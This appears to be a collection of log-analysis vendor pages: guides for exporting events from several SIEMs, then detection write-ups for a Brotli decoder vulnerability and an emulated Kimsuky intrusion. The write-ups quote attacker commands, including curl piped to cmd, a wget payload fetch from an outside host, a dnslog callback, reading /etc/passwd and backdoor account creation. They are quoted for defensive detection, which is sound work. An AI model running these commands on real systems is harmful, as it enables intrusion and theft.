Run your search through the Helix search API: a POST to https://apps.fireeye.com/helix/id/<instance-id>/api/v1/search with your API key in the x-fireeye-api-key header and the query in the body. Regional instances use their own hosts, such as helix.eu.fireeye.com. The results come back as JSON, and the original log line is kept in the raw message field.
Trellix Helix, formerly FireEye Helix and called Helix Enterprise in newer docs, combines log search with detection content. Prime Core has 18,667 detection rules for Trellix Helix, mapped to 632 MITRE ATT&CK techniques. Below is how to get events out, sanitize them, and investigate them for free in LogTotal.
An API key. Create one in Trellix Identity and Access Management under API Keys, with the search scopes your query needs.
Your instance ID. It’s shown in the top-left corner of the Helix interface, and it goes into every API URL.
The query language. Helix uses TQL, which replaced MQL. Free-text terms without a field are matched against the raw message index. Build and test the query in the Helix search page first.
Use FortiSIEM’s REST event query API. Post an XML query to /phoenix/rest/query/eventQuery, which returns a query ID, poll the progress until it reaches 100, then fetch the events. The results come back as XML. The original log line of each event is in the rawEventMsg attribute, so a few lines of Python turn the result into raw logs. Exports from the Analytics screen come out in formats LogTotal doesn’t read today.
FortiSIEM is common wherever Fortinet runs the network, and it often holds far more than firewall logs. Prime Core has 19,692 detection rules for FortiSIEM, mapped to 664 MITRE ATT&CK techniques. Below is how to get events out, sanitize them, and investigate them for free in LogTotal.
An API user. Use an account with rights to run analytics queries. The API authenticates with basic auth, with the organization in the username: super/<user> on an enterprise install, <org>/<user> for a specific organization in a service provider install.
Retention. Online event storage is limited. Older events may sit in archive storage that needs extra steps.
Attribute names. FortiSIEM queries use its own attribute names, such as reptDevName (reporting device), reptDevIpAddr, eventType and phRecvTime. Build the filter in Analytics first.
The last two path segments are the start offset and the count. Page through large results in steps of 1,000. Then pull out the raw messages:
import xml.etree.ElementTree as ET
import xml.etree.ElementTree as ET root = ET.parse("fsm_web03_1019.xml").getroot() with open("fsm_web03_1019.log", "w") as out: for attr in root.iter("attribute"): if attr.get("name") == "rawEventMsg" and attr.text: out.write(attr.text.strip() + "\n")
Graylog keeps its messages in OpenSearch or Elasticsearch, so you have two routes. Use the Graylog REST API, authenticated with an access token, or query the backend indices (graylog_* by default) directly with a script. Either way you get JSON. The original line is in message, and in full_message for some inputs. The export in the Graylog web interface produces a format LogTotal doesn’t read today.
Graylog is a popular open log management platform, often the first central logging a team sets up. Prime Core has 23,274 detection rules for Graylog, mapped to 671 MITRE ATT&CK techniques. Below is how to get messages out, sanitize them, and investigate them for free in LogTotal.
An access token. In Graylog, open your user’s settings and create a token. With the API, you authenticate as <token>:token: the token as the username and the word token as the password.
Backend access, if you go direct. The OpenSearch or Elasticsearch cluster behind Graylog often isn’t reachable from outside. Ask whoever runs it for a read-only account.
Streams and index sets. Graylog routes messages into streams, and streams map to index sets with their own prefixes and retention. Know which index set holds your data.
Newer Graylog versions favor the Views search API. For large exports, Option 2 is more reliable.
Option 2: Query the backend indices
This is the same approach as our pointed at Graylog’s indices:
import json, os from opensearchpy import OpenSearch, helpers client = OpenSearch("https://opensearch.example.com:9200", http_auth=("reader", os.environ["OS_PASSWORD"]), verify_certs=True) query = {"query": {"bool": {"filter": [ {"term": {"source": "web-03"}}, {"range": {"timestamp": {"gte": "2026-10-19 00:00:00.000", "lt": "2026-10-20 00:00:00.000"}}}, ]}}} with open("graylog_web03_1019.jsonl", "w") as out: for hit in helpers.scan(client, index="graylog_*", query=query, size=1000): out.write(json.dumps(hit["_source"]) + "\n")
Graylog stores timestamp as yyyy-MM-dd HH:mm:ss.SSS in UTC, which is why the range uses that format. For a backend running Elasticsearch, use the elasticsearch client the same way.
Wazuh keeps its data in two places. On the Wazuh manager, alerts are written to /var/ossec/logs/alerts/alerts.json, one JSON object per line, and rotated daily into compressed files by date. The same alerts are indexed in the Wazuh indexer (OpenSearch), in wazuh-alerts-4.x-*. Either way, the original log line that triggered an alert is in full_log. To export every event, not just the ones that matched a rule, the manager needs archiving turned on.
Wazuh is the most widely used open-source SIEM and XDR, and its data is easy to get at once you know where to look. Prime Core has 23,542 detection rules for Wazuh, mapped to 671 MITRE ATT&CK techniques. Below is how to export alerts and events, sanitize them, and investigate them for free in LogTotal.
Alerts or archives? Alerts are the events that matched a Wazuh rule above the alert level threshold. Archives hold everything the manager received, but only if logall_json is enabled in ossec.conf. If the question is “what else happened on that host?”, you want archives, and they only exist from the moment they were turned on.
Permissions. On the manager, the files are owned by the wazuh user and group, so use sudo. For the indexer, you need a user with read access to the alert indices.
Retention. The manager’s rotated files stay until someone deletes them. The indexer keeps what its index lifecycle policy allows.
Option 1: Files on the manager
# today's alerts so far sudo cp /var/ossec/logs/alerts/alerts.json ./wazuh_alerts_today.jsonl # a past day (rotated and compressed) sudo zcat /var/ossec/logs/alerts/2026/Oct/ossec-alerts-19.json.gz > wazuh_alerts_1019.jsonl # one agent only jq -c 'select(.agent.name == "web-03")' wazuh_alerts_1019.jsonl > web-03_alerts_1019.jsonl # the original log lines behind the alerts jq -r '.full_log // empty' web-03_alerts_1019.jsonl > web-03_raw_1019.log
With archiving enabled, the same pattern works for /var/ossec/logs/archives/archives.json and its rotated files under /var/ossec/logs/archives/<year>/<month>/.
Option 2: The Wazuh indexer
The indexer is OpenSearch, so our applies as written. Point it at wazuh-alerts-* and filter on agent.name and timestamp:
The Wazuh dashboard can also generate reports, but not in a format LogTotal reads today.
Upload, sanitize and review in LogTotal
Upload. Open logtotal.com and drop in the file: the alert JSON, or the raw lines from full_log.
Sanitize.
Review.
When it goes wrong
Symptom
Likely cause
Fix
Permission denied on the manager
Files belong to the wazuh user
Use sudo
archives.json empty or missing
logall_json isn’t enabled
Enable it for the future; use alerts for the past
No file for a past day
Different rotation path or naming
List /var/ossec/logs/alerts/<year>/<month>/
Some alerts have no full_log
Not every alert comes from a log line (integrity checks, vulnerability detection)
Upload the alert JSON instead
Indexer returns 403
User lacks read access to wazuh-alerts-*
Grant read on the alert indices
FAQ
Can I use the Wazuh API to export alerts?
The Wazuh server API is for managing agents and configuration, not for searching alerts. Use the files or the indexer.
Raw lines or alert JSON?
Raw lines (full_log) when you want LogTotal to run its own detections on the original logs. Alert JSON when you also want Wazuh’s rule matches in the file.
Use the Log Search API. Send a LEQL query for a log and a time window to https://<region>.rest.logs.insight.rapid7.com/query/logs/<log-key> with your API key in the X-Api-Key header. The API returns events in pages and gives you a link to the next one. Log Search in the UI can export results too.
InsightIDR collects endpoint, network and cloud logs for Rapid7 customers, and its Log Search is where investigations usually start. Prime Core has 23,965 detection rules for InsightIDR, mapped to 676 MITRE ATT&CK techniques. Below is how to get logs out, sanitize them, and investigate them for free in LogTotal.
An API key. Create one in the Insight Platform settings (an organization key or a user key) with access to InsightIDR.
Your region. The host depends on where your data lives: us, us2, us3, eu, ca, au, ap.
Log keys. Each log has a key, and queries run against one or more of them. List them with the API, as shown below.
Retention. How far back Log Search goes depends on your subscription.
Export with the Log Search API
REGION=us BASE="https://$REGION.rest.logs.insight.rapid7.com" FROM=$(date -d '2026-10-19T00:00:00Z' +%s000) TO=$(date -d '2026-10-20T00:00:00Z' +%s000) Q=$(printf '%s' 'where(hostname=web-03)' | jq -sRr @uri) # list logs and their keys curl -sS -H "X-Api-Key: $R7_KEY" "$BASE/management/logs" | jq -r '.logs[] | "\(.id) \(.name)"' # query one log, following the pages URL="$BASE/query/logs/<log-key>?query=$Q&from=$FROM&to=$TO&per_page=500" while [ -n "$URL" ]; do RESP=$(curl -sS -H "X-Api-Key: $R7_KEY" "$URL") echo "$RESP" | jq -c '.events[]?' URL=$(echo "$RESP" | jq -r '.links[]? | select(.rel == "Next") | .href' | head -1) done > r7_web03_1019.jsonl
Long-running queries may first answer with a link to poll instead of results. Each event’s message field holds the log entry. Extract it with jq -r ‘.message’ when the source was text.
Use LogPoint’s Search API, which works in two calls to the same endpoint, /getsearchlogs. The first call sends your query, time range and repos, and returns a search_id. The second call sends that search_id and returns the rows once the search is final. Both calls are form-encoded POSTs authenticated with your username and secret key.
LogPoint is a popular SIEM in Europe, and the Search API is the cleanest way to get a defined slice of its data out. Prime Core has 19,598 detection rules for LogPoint, mapped to 664 MITRE ATT&CK techniques. Below is how to get logs out, sanitize them, and investigate them for free in LogTotal.
Your secret key. Every API call carries your LogPoint username and secret key. You find the key in your user profile’s access key settings. Treat it like a password.
Repo names. Searches run against repos, written as <ip>:5504/<repo>, for example 127.0.0.1:5504/_logpoint. The same endpoint family lists them for you (getalloweddata with type logpoint_repos).
Time range. time_range takes either a preset like “Last 24 hours” or a pair of epoch seconds. For incident work, use the epoch pair; date -d ‘2026-10-19T00:00:00Z’ +%s computes it.
In NetWitness Investigate, run your query in the Events view, select the events (or all of them), and download the logs. Pick Text to get the raw log lines, or JSON for structured events. Large downloads run as jobs; you collect the file from the Jobs tray when it’s ready. By default, one export can include up to 100,000 sessions.
NetWitness, formerly RSA NetWitness, stores logs on Log Decoders and makes them searchable through Concentrators and Brokers. Prime Core has 18,461 detection rules for NetWitness, mapped to 631 MITRE ATT&CK techniques. Below is how to get logs out, sanitize them, and investigate them for free in LogTotal.
Before you start
Access to Investigate. You need a role that can investigate the service (Broker or Concentrator) holding the logs.
Set the export format once. In Profile → Preferences → Investigation, the Export Log Format preference decides the default format for downloads: Text, XML, CSV or JSON. Choose Text for raw logs. If it’s left empty, NetWitness asks every time.
Retention. How far back you can go depends on Log Decoder storage. Older logs may only exist in an archiver, if you have one.
Export from Investigate
Open Investigate → Events, pick the service, and set the time range.
Query with meta keys (example below).
Run the query and check the count.
Select the events you want, or none to take all of them, and choose the download option for logs (Text or JSON).
Open the Jobs tray (the stopwatch icon) and download the file when the job finishes.
A query for one Linux host looks like this. For Windows logs, device.type = ‘winevent_nic’ is the common log parser.
device.type = 'rhlinux' && alias.host = 'web-03'
For a single event, the Text tab of the event details has its own download options for the raw log.
The Max Session Export setting caps how many sessions one export can include (100,000 by default). For bigger windows, split by time.
Option 2: REST API on the services
Concentrators and Brokers expose a REST interface that can run queries and return log content. That suits scripted exports.
Use the Devo Query API: send a LINQ query, a time range and an output mode to the /search/query endpoint of your region, authenticated with an API token or key and secret. Ask for a JSON mode and you get structured events; select the message field from raw tables to get the original lines back. The official Python SDK (devo-sdk) wraps the same API if you prefer code to curl.
Devo stores large volumes of security and operational data in the cloud, often with long retention. Prime Core has 23,653 detection rules for Devo, mapped to 664 MITRE ATT&CK techniques. Below is how to get data out, sanitize it, and investigate it for free in LogTotal.
Credentials. Create an API token, or an API key and secret, in your Devo domain’s credentials settings, with access to the tables you need.
Your region’s endpoint. The Query API host depends on where your domain lives, for example apiv2-us.devo.com or apiv2-eu.devo.com.
Table names. Devo organizes data in tables like box.unix or firewall.fortinet.traffic. Find yours in the Data Search area, and build the query there first.
The from and to values above are epoch seconds for 2026-10-19 00:00 UTC to 2026-10-20 00:00 UTC. If the response is one JSON object per line, upload it as-is. If it’s an array, flatten it with jq -c ‘.[]’. For raw lines, extract message.
Python alternative. pip install devo-sdk, then use the API client from the devo.api package with your token, the same query and dates. It handles the request signing for key-and-secret authentication.
On the New-Scale Security Operations Platform, get an access token with your API key, then call the event search API with a filter, a time range and the fields you want. You get JSON back, one row per event. The Search app can also export results from the UI. Older on-premises Exabeam Data Lake deployments work differently; see the FAQ.
Exabeam collects logs for behavior analytics and SIEM, and since its merger with LogRhythm it covers a big share of the market. Prime Core has 15,635 detection rules for Exabeam, mapped to 542 MITRE ATT&CK techniques. Below is how to get events out, sanitize them, and investigate them for free in LogTotal.
Generate an API token, run your Spotter query through the Securonix REST API (/ws/spotter/index/search), and save the events as JSON. When the source sent raw text, the original line is usually kept in the raw event field. Spotter in the UI can export results too.
Securonix pulls in large volumes of activity data for UEBA and SIEM, which makes it a rich place to export an investigation slice from. Prime Core has 14,283 detection rules for Securonix, mapped to 620 MITRE ATT&CK techniques. Below is how to get data out, sanitize it, and investigate it for free in LogTotal.
API access. You need a Securonix user that’s allowed to use the API. Tokens are generated with that user’s credentials and have a validity period you choose.
Your tenant URL. Cloud tenants usually look like https://<tenant>.securonix.net/Snypr.
Retention. Hot data is searchable directly in Spotter. Older data may sit in long-term storage that needs extra steps to search.
Export with the REST API
BASE="https://<tenant>.securonix.net/Snypr" # 1. token, valid for one day TOKEN=$(curl -sS -H "username: $SNX_USER" -H "password: $SNX_PASS" -H "validity: 1" \ "$BASE/ws/token/generate") # 2. Spotter query for a time window curl -sS -G -H "token: $TOKEN" "$BASE/ws/spotter/index/search" \ --data-urlencode 'query=index=activity AND devicehostname="web-03"' \ --data-urlencode 'eventtime_from=10/19/2026 00:00:00' \ --data-urlencode 'eventtime_to=10/20/2026 00:00:00' \ > snx_web03_1019.json # 3. one event per line jq -c '.events[]' snx_web03_1019.json > snx_web03_1019.jsonl
How you export from ArcSight depends on which part of it holds the data. For history, search in ArcSight Logger and export the results. For a repeatable route, forward events from Logger or a SmartConnector to a syslog collector as CEF, and export the collector’s file. One thing decides how useful any export is: the original raw event is kept only if your SmartConnectors were configured to preserve it.
OpenText ArcSight has been running in large SOCs for a long time, which means it often holds years of history nobody else has. Prime Core has 21,311 detection rules for ArcSight, mapped to 664 MITRE ATT&CK techniques. Below is how to get events out, sanitize them, and investigate them for free in LogTotal.
Which ArcSight? Logger stores and searches events. ESM correlates them. Recon is the newer search and analytics layer. For bulk export, Logger is usually the right place.
Is the raw event there? SmartConnectors normalize events into CEF fields. They keep the original text only with raw event preservation turned on. If it was off, you can export the normalized CEF events, but not the original lines.
Rights and retention. You need a Logger user that can search the storage groups involved, and the data has to still be within Logger’s retention.
Option 1: Logger search and export
In Logger, open Search, set the time range, and write the query using CEF field names, for example destinationHostName = “web-03” AND deviceVendor = “Unix”.
Run it and check the count.
Export the results.
Option 2: Forward CEF to a syslog collector
Set up a small Linux collector with rsyslog listening on UDP or TCP 514. Then point a Logger forwarder or a SmartConnector destination at it, in CEF over syslog. Logger forwarders can also send a past time range as a one-off. Then cut the window you need from the collector’s file:
Each line is a CEF record: a header with vendor, product and event name, then key=value extensions. If raw event preservation was on, the original text sits in the rawEvent field.
Option 3: Logger REST API
Logger also has a REST API for logging in and running searches, which suits scripted exports.
Node2Shell/HTTP2Shell detection is harder than it looks, because the vulnerability is not confined to one product. Node2Shell, also called HTTP2Shell, is CVE-2026-111497: an out-of-bounds write in Google’s Brotli C decoder, versions 1.0.3 to 1.2.0, scored CVSS 4.0 9.2. Since the flaw sits in a shared compression library, it reaches Node.js, Python Brotli packages, Bun, curl, Envoy, and other software that decodes Brotli.
This article covers Node2Shell/HTTP2Shell detection using a log sample analyzed in LogTotal, a log analysis tool that matches events to known threats. Below, we cover the vulnerability context, the log source, what LogTotal reported, and how to respond.
The vulnerable code sits in Brotli C decoder versions 1.0.3 to 1.2.0. Google, as the numbering authority, scored it 9.2 under CVSS 4.0, while Node.js rates it High. To read the log sample correctly, it helps to know how the bug is triggered, how the disclosure unfolded, and which software versions and configurations are exposed.
Vulnerability details for Node2Shell
A Brotli stream that declared a single block type and then switched blocks was not rejected, so decoding continued in an invalid state and wrote past a buffer. Any process that decompresses attacker-controlled Brotli data can be hit, in two directions:
Inbound: a crafted Brotli-compressed HTTP request body sent to a server that decodes it.
Outbound: a crafted response returned to a client that fetches it.
The bug has several names. Node2Shell came first because Node.js disclosed and fixed it first. HTTP2Shell reflects that it reaches any stack that decodes Brotli over HTTP, and some coverage also uses Python2Shell and Broccoli2Shell.
Disclosure and exploitation timeline
Date (2026)
Event
27 October
CISA added the CVE to its KEV catalog; US federal agencies must patch by 10 November
26 October
Exploitation in this sample logged on app-node-01
25 October
Microsoft released out-of-band .NET fixes
22 October
CVE published; code execution shown publicly on Node.js 24.22.0; Bun 1.4.4 released
21 October
Node.js disclosure and fixed releases; Brotli 1.0.10, 1.1.1, and 1.2.1 released
27 February
Fix committed to google/brotli with no release or advisory
The bug itself shipped in Brotli 1.0.3 in March 2018. Khai Tran and Sylvie Mayer of OpenAI Codex Security reported it to Node.js. A public proof of concept exists, Imperva and ELLIO both reproduced code execution against official Node.js builds, and scanners that map which hosts decompress Brotli are already in use. Code execution has not been shown for the Python packages, although they crash on malicious input, as the web-prod-01 crash in this sample shows.
Node2Shell affected versions and fixes
Component
Fixed in
Node.js 26.x / 24.x / 22.x
26.12.1 / 24.22.1 / 22.23.4
Node.js 20.x and other end-of-life lines
No fix; move to a supported line
Bun
1.4.4
Google Brotli library
1.0.10, 1.1.1, 1.2.1
PyPI brotli / brotlicffi
1.2.1 / 1.2.1.0
.NET runtime 8 / 9 / 10
8.0.33 / 9.0.22 / 10.0.14
Envoy
1.36.12, 1.37.8, 1.38.6, 1.39.3, 1.40.0
Istio
1.29.9, 1.30.6, 1.31.2
Java brotli4j / Ruby brotli gem
1.24.0 / 0.9.1
A vulnerable version is only exposed if attacker data can reach the decoder. In Node.js, that path exists through Express 5, body-parser 2.x, the Koa body parsers, @fastify/compress with request decompression, fetch(), and direct node:zlib Brotli calls. In Python, requests, httpx, aiohttp, and Scrapy use the brotli or brotlicffi package whenever it is installed. In .NET, Brotli decompression is off by default, and Envoy and Istio are exposed only with the Brotli decompressor enabled. curl decodes Brotli only with –compressed, through the system libbrotli, so it needs a patched distribution package; Debian and Red Hat have shipped fixed ones.
Log source and collection
Attribute
Value
File
Node2Shell_HTTP2Shell_sample-sanitized.jsonl
Events
11
Time window
26 October 2026, 11:30:55 to 11:33:05 UTC
Schema
ECS-style
Sources
4 plain-text Linux kernel and systemd-coredump messages; 7 Microsoft Defender for Endpoint process-creation events
Hosts in the sample
Three hosts appear in the raw data, on two operating systems. Each one shows a different part of the Node2Shell exposure.
Host
OS
Runtime
Activity in the logs
app-node-01
Linux
Node.js app /opt/app/server.js
Brotli crash, then post-exploitation commands
web-prod-01
Linux
Python process
Crash in _brotli.cpython-311
win-dev-01
Windows
Node.js app C:\Users\devuser\app\server.js
Download-and-execute, hidden PowerShell
Detect Node2Shell (HTTP2Shell)
LogTotal processed 11 lines in 5.3 seconds and matched 23 rules against 10 lines. It formed 2 chains, reported 1, and filtered out 1 at the AI verification step.
Verdict field
Result
Verdict
Suspicious, needs investigation
Severity
High
Confidence
Medium
The reported chain is Node2Shell / HTTP2Shell is a critical vulnerability (CVE-2026-111497): High, 100% match, 2 rules fired. It sits on a pseudonymized host between 11:30 and 11:31 UTC, and that window and evidence match app-node-01.
Exploitation: the Brotli decoder crash
The rule “Possible CVE-2026-111497 (HTTP2Shell / Node2Shell) Exploitation Attempt – Brotli Decoder Native Crash” matched node segfaulting in libbrotlidec.so.1.1.0. The core dump stack is topped by BrotliDecoderDecompressStream.
The report maps this crash to denial of service (T1499.004), which is where the Impact stage comes from. The rule’s last hit, at 11:33, falls on the python3 crash in _brotli.cpython-311 on web-prod-01, which shows the same library failing in a second runtime.
Post-exploitation on Linux
“Suspicious NodeJS Child Processes [Linux]” fired 4 times as node /opt/app/server.js spawned:
curl fetching the public C3Pool XMRig miner setup script
wget http://198.51.100.23:3000/s.sh
ping -c 1 5axzi7.dnslog.cn, an out-of-band callback check
cat /etc/passwd
Post-exploitation on Windows, outside the chain
The Windows half of the sample sits outside the reported chain but deserves the same attention. On win-dev-01, node.exe spawned cmd.exe /c “curl -s https://198.51.100.23/api/w | cmd”, a download-and-execute pattern, and then a hidden powershell.exe running whoami.
Rules that fired on this activity include Suspicious NodeJS Child Processes [Windows], Read Contents From Stdin Via Cmd.EXE, and Suspicious Powershell Cmdlets. The filtered-out chain, Meet AvisLoader: A Windows Loader Built to Outlast a Takedown (High), was driven by the curl executions.
Node2Shell IOCs from this sample
Indicator
Type
Context
198.51.100.23
IP
Payload host for s.sh (port 3000) and /api/w (HTTPS)
http://198.51.100.23:3000/s.sh
URL
Script fetched by wget on app-node-01
https://198.51.100.23/api/w
URL
Piped to cmd on win-dev-01
5axzi7.dnslog.cn
Domain
Out-of-band callback via ping
C3Pool XMRig miner setup script
Download
Fetched by curl from node
libbrotlidec.so.1.1.0 with BrotliDecoderDecompressStream on the stack
Start from the reported chain to confirm exploitation on app-node-01, then work through every finding outside the chain. In this sample, the out-of-chain rules and the filtered chain point to two more affected hosts, web-prod-01 and win-dev-01.
Node2Shell (HTTP2Shell) Mitigation
Patching Node.js alone does not close Node2Shell, because the flaw sits in the shared Brotli decoder. Every runtime or proxy that decodes Brotli needs an update, and every host in the sample needs to be in scope.
Patch every Brotli consumer
Find services on Node.js below 22.23.4, 24.22.1, or 26.12.1, on an end-of-life Node.js line, or on Bun below 1.4.4, including base images and build hosts.
Patch first the services that decompress request bodies (Express 5, body-parser 2.x, the Koa body parsers, @fastify/compress), fetch user-supplied URLs, or pass untrusted data to node:zlib Brotli functions.
Upgrade the runtime, then restart processes and rebuild container images, including self-contained .NET apps and binaries built with bun build –compile.
Upgrade PyPI brotli to 1.2.1 and brotlicffi to 1.2.1.0, and update the .NET runtime, Envoy, Istio, and distribution brotli packages.
Move off Node.js 20 and other end-of-life lines, which receive no fix.
Until patches ship, reject Content-Encoding: br at the WAF or proxy, matching it case-insensitively and inside lists such as “gzip, br”. This does not cover Brotli responses read by fetch().
LogTotal’s recommended response
Isolate the host.
Collect process, system, and network data for 11:30–11:33 UTC.
Verify the Node.js patch level: 22.23.4, 24.22.1, or 26.12.1.
Remove unauthorized binaries.
Reject untrusted Content-Encoding: br at the WAF.
Run Node.js unprivileged.
Disable automatic Brotli decompression where feasible.
Additional steps from the raw evidence
Widen the scope to win-dev-01 and web-prod-01, not just app-node-01.
Block at egress 198.51.100.23 and *.dnslog.cn.
Check for a miner: cron entries, systemd units, and a running xmrig process.
Assume /etc/passwd was read and review accounts accordingly.
Hunt for node, node.exe, or python3 spawning shells, downloaders, or network tools.
Ongoing Node2Shell monitoring
Forward kernel and systemd-coredump messages along with EDR process events. In this sample, the coredump stack was the only direct evidence of exploitation, and the EDR events carried everything that followed.
FAQ
What is Node2Shell (HTTP2Shell) and how does it work?
Node2Shell, also called HTTP2Shell, is CVE-2026-111497: an out-of-bounds write in Google’s Brotli C decoder, versions 1.0.3 to 1.2.0, scored CVSS 4.0 9.2. Crafted Brotli data can crash any process that decompresses it, and in Node.js it has been shown to give remote code execution. The analysis section above explains how it works.
When was Node2Shell first discovered?
Khai Tran and Sylvie Mayer of OpenAI Codex Security found the bug and reported it to Node.js. It dates back to Brotli 1.0.3 in March 2018. A fix was committed upstream on 27 February 2026 without a release, and Node.js disclosed the flaw on 21 October 2026.
What is the impact of Node2Shell on systems?
The crash itself is a denial of service, and the follow-on activity shows code execution in the context of the vulnerable process. In this sample, that meant a cryptominer setup script download, a payload fetch, an out-of-band DNS callback, a read of /etc/passwd, and download-and-execute on a Windows host.
Can Node2Shell still affect me in 2026?
Yes. CVE-2026-111497 is exploited in the wild and listed in CISA’s KEV catalog. Unpatched Node.js, Bun, Python, .NET, and proxy deployments remain exposed, and Node.js 20 and other end-of-life lines will never get a fix.
How can I protect myself from Node2Shell?
Patch Node.js and every other Brotli consumer, restart processes, and rebuild images. Until then, reject Content-Encoding: br at the WAF or proxy and disable automatic Brotli decompression where feasible. The mitigation section lists the full steps.
How can I detect Node2Shell?
Collect kernel and systemd-coredump logs plus EDR process events from every Node.js and Python host. Alert on Brotli decoder crashes and on runtimes spawning shells or downloaders. LogTotal maps these events to the Node2Shell chain, but review findings outside the chain too, since they surfaced two extra hosts here.
Kimsuky detection depends on recognizing the group’s tradecraft in your own telemetry, not just on matching a hash. Kimsuky is a North Korean APT group, and one of its published campaigns impersonates diplomats to deliver LNK files and PowerShell droppers. Those techniques leave traces in ordinary Windows Security logs: script hosts launched from user-writable folders, hidden PowerShell, new services and scheduled tasks, and quiet account changes.
This article covers Kimsuky detection using a log sample analyzed in LogTotal, a log analysis tool that matches events to known threats. Below, we describe where the logs came from, what LogTotal flagged, which findings hold up against the raw events, and what the response should be.
The tradecraft in this sample reads more clearly against the group’s background and its recent campaigns, so we start there before turning to the logs.
Who is Kimsuky
Kimsuky is a North Korean state-sponsored APT group focused on intelligence collection. MITRE ATT&CK tracks it as G0094, and vendors also call it APT43, Velvet Chollima, Black Banshee, THALLIUM, Emerald Sleet, TA427, and Springtail. Its activity is believed to align with North Korea’s Reconnaissance General Bureau.
CISA assesses that the group has most likely operated since 2012. The first detailed public report was Kaspersky’s “The Kimsuky Operation” in 2013, and the name comes from an internal code reference Kaspersky researchers found.
Most Kimsuky operations hit South Korea, with others reaching the United States, Japan, Europe, and Russia. Beyond government and policy targets, victims include academics and the cryptocurrency sector. Spear-phishing is its most observed entry point.
Kimsuky activity in 2026
Period (2026)
Campaign
Tradecraft
October
Operation GitPower expansion (Genians)
Fake Zoom installers and PDF-themed LNK files against Ukrainian diplomacy and security experts; hidden PowerShell; scheduled-task persistence
Ongoing
Operation GitPower
ZIP archives with LNK files posing as documents, including embassy correspondence; obfuscated PowerShell; GitHub for staging and C2
March–April
HTTPSpy variant (ENKI)
Spoofed security-software installer pages and a fake Cisco Webex page against South Korean military and corporate targets
2025 to early 2026
Groupware vendor compromise (ENKI WhiteHat)
Breached South Korean collaboration software vendors, then their customers
The sample analyzed here dates from 21 September 2026, inside this period. Its dot-padded, PDF-themed LNK, hidden PowerShell, and logon-triggered scheduled task match these campaigns closely.
The log sample
The sample is a single file, Kimsuky.jsonl, with 3,087 events from one domain controller. It shows Kimsuky-style tradecraft executed against a DC in a controlled emulation, which makes it a useful reference for what this activity looks like in native Windows audit telemetry.
Log source and collection
Attribute
Value
File
Kimsuky.jsonl
Events
3,087
Host
srv-ad-001.7logs.xyz, a domain controller in the 7logs domain
Time window
21 September 2026, 15:02:41 to 15:05:58 UTC (just over three minutes)
Format
Native EVTX structure in JSON (Event → System / EventData, XML attributes under #attributes)
The JSON layout points to an EVTX-to-JSON conversion rather than a SIEM-normalized export.
What the events contain
Most events are object and handle auditing (4658, 4656, 4663, 4690), token right adjustments (4703), and file share access (5145). These are high-volume and mostly background noise.
The detection-relevant events are far fewer:
49 process creations (4688) with full command lines
Attack context: an emulation, not a live intrusion
The activity is clearly an emulation of Kimsuky tradecraft. Every attacker command has powershell_ise.exe as its parent process. Objects carry test names such as OrbitalTestSvc, adminuserz, and the password !BackdoorPass1. At the end, the operator removes the service, task, user, and group.
The techniques themselves mirror a published Kimsuky campaign in which the group impersonates diplomats and delivers LNK files and PowerShell droppers. That is why the telemetry is valuable: the behaviors are real even though the operator is not.
Detect Kimsuky
LogTotal processed all 3,087 lines in 16.4 seconds and matched 73 rules against 105 lines. It grouped those matches into 9 attack chains on one host, reported 8, and filtered out 1 at the AI verification step.
Verdict field
Result
Verdict
Suspicious, needs investigation
Severity
Critical
Confidence
Medium
How LogTotal’s rules map to raw Kimsuky evidence
Fired rule
Raw evidence
Suspicious Execution from Public User Profile; Script Interpreter Execution From Suspicious Folder
LNK posing as a PDF with a dot-padded name (vvn.31.Pdf……Lnk); wscript.exe running DefenderUpdate.Js from C:\Users\Public\Downloads
The Possibility of Execution Through Hidden PowerShell Command Lines
The artifacts below come from an emulation, so the names themselves will not recur in the wild. The patterns behind them are what to hunt for.
Artifact
Type
Pattern to hunt
vvn.31.Pdf……Lnk
LNK lure
Shortcut files posing as documents with dot-padded names
C:\Users\Public\Downloads\DefenderUpdate.Js
JScript run by wscript.exe
Script hosts launched from user-writable folders
capture.Ps1
PowerShell script
-ExecutionPolicy Bypass -WindowStyle Hidden
%TEMP%\D.21_SEOUL.hta
HTA run by mshta.exe
MSHTA executing files from %TEMP%
Public\Downloads\system32\smss.Exe
Masquerading binary
System process names outside System32
OrbitalTestSvc
Service (4697)
Services that launch hidden PowerShell via COMSPEC
\OrbitalHealthCheck → svc_update.ps1
Scheduled task (4698)
Logon-triggered tasks running hidden scripts
adminuserz, admingroupz, !BackdoorPass1
Account, group, password
New admin-like local accounts and groups created via net.exe
Winlogon\SpecialAccounts\UserList
Registry value
Accounts hidden from the logon screen
Event 1102
Log clearing
Security log cleared before activity
Kimsuky Mitigation
Contain the domain controller first, then rebuild trust in its accounts and logging. LogTotal’s response plan covers the essentials; because the target is a DC, the scope needs to widen to the domain.
LogTotal’s recommended response
Isolate the host.
Image memory and disk.
Verify and remove the OrbitalHealthCheck scheduled task.
Check and restore the audit policy.
Enable PowerShell Script Block Logging and AMSI telemetry.
Apply allowlisting for WScript, CScript, and PowerShell.
Additional steps for a domain controller
Start the timeline at the 1102 event. The Security log was cleared at 15:02:41 UTC, so anything before it must come from other sources.
Collect and hash everything in C:\Users\Public\Downloads\ and %TEMP%, including the LNK, JScript, PowerShell, HTA, and fake smss.Exe.
Confirm cleanup. Verify that OrbitalTestSvc, adminuserz, and admingroupz are gone, and revert the Winlogon\SpecialAccounts\UserList value that hides Administrator.
Reset credentials. Reset the Administrator password and plan a double krbtgt reset.
Hunt domain-wide for dot-padded LNK file names and for script hosts (wscript.exe, cscript.exe, mshta.exe, powershell.exe) launched from user-writable folders.
Hardening against Kimsuky-style tradecraft
The same controls that catch this sample reduce exposure across the domain. Keep 4688 process creation with command lines enabled, since the 49 process events carried most of the evidence. Alert on 4697 service installs and 4698 task creations that launch hidden PowerShell. Treat any 1102 event on a DC as an incident trigger.
FAQ
What is Kimsuky and how does it operate?
Kimsuky is a North Korean state-sponsored espionage group, tracked by MITRE ATT&CK as G0094 and also known as APT43, Velvet Chollima, and Emerald Sleet. It typically gets in through tailored spear-phishing, then uses LNK files, scripts, and PowerShell to install backdoors and persistence for long-term intelligence collection. The analysis section above has the full profile.
When was Kimsuky first discovered?
CISA assesses that Kimsuky has most likely operated since 2012. The first detailed public report was Kaspersky’s “The Kimsuky Operation” in 2013, and the group’s name comes from an internal code reference Kaspersky researchers found.
What is the impact of a Kimsuky intrusion?
Kimsuky seeks long-term access for intelligence collection, including credential theft, and some of its operations also target the cryptocurrency sector. It has used compromised software vendors to reach their customers, as in its 2025 to early 2026 groupware campaign. On a domain controller, as in this sample, an attacker can create and hide administrator accounts and persist across the whole domain.
